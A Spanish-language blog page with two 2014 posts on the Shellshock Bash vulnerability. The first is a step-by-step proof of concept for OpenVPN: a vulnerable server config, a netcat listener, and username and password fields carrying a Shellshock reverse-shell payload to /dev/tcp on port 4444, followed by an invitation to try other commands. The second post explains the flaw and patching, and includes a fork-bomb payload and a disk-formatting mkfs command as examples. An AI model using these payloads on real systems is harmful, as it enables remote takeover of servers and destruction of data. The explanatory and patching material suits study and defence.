Mostrando las entradas con la etiqueta Shell Shock. Mostrar todas las entradas
Mostrando las entradas con la etiqueta Shell Shock. Mostrar todas las entradas

viernes, 3 de octubre de 2014

ShellShock PoC para OpenVPN



Hola estimados,

Siguiendo con el trending topic de ShellShock, nos dimos cuenta que los servidores basados en OpenVPN son vulnerables al problema del Bash.

OpenVPN posee varias opciones de configuración que pueden llamar comandos personalizados durante diferentes etapas del tunnel session. Muchos de estos comandos son llamados con variables de entorno, y algunas de las cuales pueden ser controladas por clientes de este. Una opción usada para la autenticación (username+password) es "auth-user-pass-verify". Si el script llamado usa un shell vulnerable, el cliente simplemente puede enviar el exploit con el payload modificando esos dos parámetros. Este vector de ataque, como podrán imaginar, puede resultar dañino.

Funciona así:

La opción ejecuta un script, definido por el administrador, mediante el interprete de línea de comandos para validar los nombres de usuario y contraseñas proporcionados por los clientes. Esto abre la posibilidad de que ciertos clientes envíen nombres de usuario y contraseñas formados maliciosamente, para explotar la vulnerabilidad Shellshock cuando esos datos sean pasados a Bash como cadenas. Diabólicamente genial... desde un punto de vista académico, claro está.

Configuremos un ejemplo. Si deseas saber como se instala un servidor con OpenVPN sigue este manual. Asumamos que el servidor tiene esta configuración en el archivo server.config:

  1. ### server.conf
  2. port 1194
  3. proto udp
  4. dev tun
  5. client-cert-not-required      # Para que no pida certificados al cliente
  6. auth-user-pass-verify /etc/openvpn/user.sh via-env
  7. tmp-dir "/etc/openvpn/tmp"
  8. ca ca.crt
  9. cert testing.crt
  10. key testing.key               # Este archivo debería mantenerse como secreto de estado
  11. dh dh1024.pem
  12. server 10.8.0.0 255.255.255.0 # IP y máscara de prueba
  13. keepalive 10 120
  14. comp-lzo
  15. user nobody
  16. group nogroup
  17. persist-key
  18. persist-tun
  19. client-cert-not-required
  20. plugin /usr/lib/openvpn/openvpn-auth-pam.so login
  21. script-security 3
  22. status openvpn-status.log
  23. verb 3

Verificamos que tanto el usuario como la clave, puedan recibir literales de cadena como valores:

  1. ### user.sh
  2. #!/bin/bash
  3. echo "$username"
  4. echo "$password"

Iniciamos el servidor:

  1. ### Inicio del servidor
  2. openvpn tus_parametros_de_inicio

En un terminal aparte ponemos a escuchar con el NetCat, el puerto 4444:

  1. ### terminal 1
  2. nc -lp 4444

En un segundo terminal conectamos un cliente al servidor. Usaré la IP de ejemplo 10.10.0.52, además en el parámetro --ca estoy pasando un certificado (de todas formas no serviría puesto que arriba se configuró así):

  1. ### terminal 2
  2. sudo openvpn --client --remote 10.10.0.52 --auth-user-pass --dev tun --ca tuCertificado.cert --auth-nocache --comp-lzo

Acá viene la maña! Cuando nos pida usuario y clave, ponemos esto:

  1. ### usuario && clave ambas son "shellshockeadas"
  2. user:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &
  3. pass:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &

Explicación

Aplicamos ShellShock a través de cada parámetro (username y password). Básicamente le dijimos al puerto (en /dev/tcp/xxx.xxx.xxx.xxx/4444) que switcheara los file descriptors. Bien, lección Linux 101:

La expresión "0>&1" proviene de un concepto llamado file descriptor, que es usado generalmente en sistemas operativos tipo POSIX. En la terminología de Microsoft Windows y en el contexto de la biblioteca stdio, se prefiere el término "manipulador de archivos" o "manipulador de ficheros", ya que es técnicamente un objeto diferente. En POSIX, un descriptor de archivo es un entero, específicamente del tipo int de C. Hay 3 descriptores de archivo estándar de POSIX que presumiblemente tiene cada proceso, salvo quizá los demonios:

Valor enteroNombre
0Entrada estándar (stdin)
1Salida estándar (stdout)
2Error estándar (stderr)

Una forma de referirse a ellas es usando, según el lenguaje de programación y el entorno letras mayúsculas o minúsculas, los nombres STDIN, STDOUT y STDERR.

El shell del sistema es el encargado, generalmente, de abrir esta entrada y conectarla con el terminal al que está asignado el programa, puesto que es el programa más usual para comunicarse con un operador. Acá convertimos el STDIN en STDOUT... ¿por qué?

STDOUT determina el destino del resultado de un programa o proceso, por defecto es la pantalla y se muestra el resultado en la consola de la terminal, sin embargo puede redirigirse hacia un archivo, por ejemplo. Si ya les pasó por la cabeza, si... es para hacernos del control del servidor en forma remota por medio del servicio OpenVPN.

Lo que queda es fijarse en el log, te mostrará una info muy interesante acerca del certificado y otras cosillas. Les dejo la inquietud rebotando en sus cabezas... tírense al agua y prueben otros comandos.

Nos vemos gente!

viernes, 26 de septiembre de 2014

Shell-Shock y cómo parchearlo!


Hola, espero estén alertas con esta vulnerabilidad que se viene hablando desde el 24-09-2014.

Primero un poco de contexto, para que la gente que no sabe pueda entender. Bash es un utilitario cuya función consiste en interpretar órdenes. Está basado en la shell de Unix y es compatible con POSIX. Su nombre es un acrónimo de Bourne-Again Shell (otro shell bourne), haciendo un juego de palabras: born-again = renacimiento. Fue uno de los primeros intérpretes importantes de Unix. Listo, hasta acá la historia. A lo que vinimos:

Y ahora... cuál es el problema?

En muchos SO's las variables de entorno proporcionan una forma ágil de influir en el comportamiento de los programas instalados en este. Estas variables, por lo general, se componen de un nombre y un valor asignado. En la shell Bash se pueden ejecutar dichas variables por medio de funciones. En estos ambientes, es común que una gran cantidad de programas ejecuten shell Bash en background y a menudo, se utiliza para proporcionar acceso remoto a un usuario (a través de ssh, telnet, etcétera), proporcionar un analizador de secuencias de comandos CGI (Apache) o incluso apoyar la ejecución de comandos.

El día miércoles 24 de este mes, se anunció la vulnerabilidad y se publicó con el CVE-2014-7169 originalmente encontrada por el hacker francés Stephane Schazelas. Más tarde el experto en ciberseguridad Travis Ormandy lanzó un segundo exploit que funcionaba en sistemas ya parcheados, debido que los primeros parches eran incompletos. El Shell-Shock (como también le llaman) tiene una nota de gravedad 10, lo que significa que tiene un impacto máximo, y una calificación baja en complejidad de explotación, que significa que es relativamente fácil de utilizar por cibercriminales para lanzar ataques.

Podemos crear una función en el intérprete, exportarla e invocarla, por ejemplo:
$function prueba { echo "hola"; }
$ export –f prueba
$ bash
$ prueba
  hola
El problema radica en el mecanismo de exportación y cómo se interpreta el código que se inyecta en el entorno donde es exportada la función.

Para conseguir lo anterior, el bash recurre a un pequeño truco. No exporta la función como tal, sino que lo hace en una variable de entorno donde se interpreta su valor como el cuerpo de una función. Usando el ejemplo anterior, en vez de una función creemos una variable de entorno:

$ prueba = '() { echo "hola"; }'

Y exportamos la variable...
$ export prueba
$ bash
$ prueba
  hola
Cuando el entorno recibe esta variable y el interprete detecta la siguiente cadena "() {" entiende que está ante una función y comienza a interpretar su código. El problema (y esto es lo diabólico ja ja ja...), es que NO para de interpretar cuando termina el cuerpo de la función y continua ejecutando el código que viene detrás del cuerpo.

Un par de ejemplos:
  1. DoS casero! Conocido como la fork-bomb, le pide a tu sistema ejecutar una gran cantidad de procesos hasta que el sistema se bloquea: '() {echo "hola";}; :(){:|:&};:'
  2. Este comando puede formatear o eliminar todos los archivos contenidos en un dispositivo: '() {echo "hola";}; mkfs.ext3 /dev/sda'
La función debería de terminar justo cuando encuentre el "};" correspondiente pero inexplicablemente no lo hace, y peor aún, ejecuta directamente ese código anexado al cuerpo de la función.

Entonces, qué alcance tiene la vulnerabilidad?

Como resultado de esta vulnerabilidad muchos contextos están expuestos, por ejemplo:
  • El ForceCommand es usado en configuraciones sshd, para proveer capacidades de ejecución de comandos a usuarios remotos. Este fallo puede ser usado para hacer bypass de comandos arbitrarios. Algunos deployments en Git o en Subversion pueden ser afectado por medio de estas inyecciones de código. 
  • Los servidores Apache usan el mod_cgi o el mod_cgid, y estos pueden ser afectados con CGI scripts que sean escritos en bash.
  • Otra falla se da mediante clientes DHCP, que en algunos casos ejecutan Bash scripts y utilizan variables de entorno suministradas por el servidor. Por ejemplo vean esta PoC para lograr Remote Code Execution (RCE).

OK... que hay del parche?

Debes comprender que va a arreglar sólo algunos de los aspectos de la vulnerabilidad y que al ser tan reciente, aún se desconocen los efectos secundarios del parche, además de las distintas opciones de ataques que podrían existir.

Puedes utilizar este >>>script<<< para prevenir y mitigar el impacto. En última instancia ya hay instrucciones para parchear el Bash.

Para acabar con el cuento, hay una serie de scripts para probar tanto la vulnerabilidad como el parche. Acá les dejo el post de la gente de RedHat al respecto.

Nos vemos y mucha suerte!